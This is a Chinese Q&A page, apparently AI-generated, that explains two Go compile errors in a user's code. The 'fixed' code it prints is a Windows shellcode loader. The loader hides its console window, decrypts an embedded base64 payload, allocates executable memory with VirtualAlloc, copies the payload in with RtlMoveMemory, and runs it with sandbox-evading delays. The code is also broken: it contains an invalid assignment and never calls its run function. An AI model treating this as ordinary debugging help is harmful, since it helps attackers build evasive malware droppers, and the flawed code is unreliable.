在 main 函数中,ddm 变量未定义就直接赋值,需要先声明再赋值,例如:

var ddm string
ddm = util.D(buf, key, nonce)

完整代码示例:

package main

import (
	'encoding/base64'
	'syscall'
	'math/rand'
	'time'
	'unsafe'
	'gld/util'
	'github.com/lxn/win'
)

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func build(ddm string) {
	sDec, _ := ddm
	time.Sleep(5)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
	time.Sleep(5)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
	time.Sleep(time.Millisecond * time.Duration(rand.Intn(500)+1000))
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	key, _ := base64.StdEncoding.DecodeString('PJOq7ypDIx5ZGs6ANcZ5mchGlHSCu4eCxEbYNP0sOx4=')
	nonce, _ := base64.StdEncoding.DecodeString('Ua2tOzQvMlmOfodS')
	buf, _ := base64.StdEncoding.DecodeString('k2')

	var ddm string

ddm = util.D(buf, key, nonce)
}

错误原因解析:

  1. "assignment mismatch: 2 variables but 1 value" 错误表示在赋值语句中,左侧期望有两个变量接收值,而右侧只提供了一个值。这通常发生在多重赋值语句中,例如 a, b = c,如果 c 只有一个值,就会出现此错误。

  2. "undefined: ddm" 错误表示在代码中使用 ddm 变量时,它尚未被定义。这意味着你需要在使用 ddm 之前,先声明它并赋予初始值。

解决方法:

  1. 在使用变量之前,先用 var 关键字声明变量并赋予初始值。

  2. 仔细检查赋值语句,确保左侧变量数量与右侧值的数量相匹配。

  3. 确保在使用变量之前,它已经被正确地定义和初始化。

Go 编译错误:

原文地址: https://www.cveoy.top/t/topic/lUZK 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录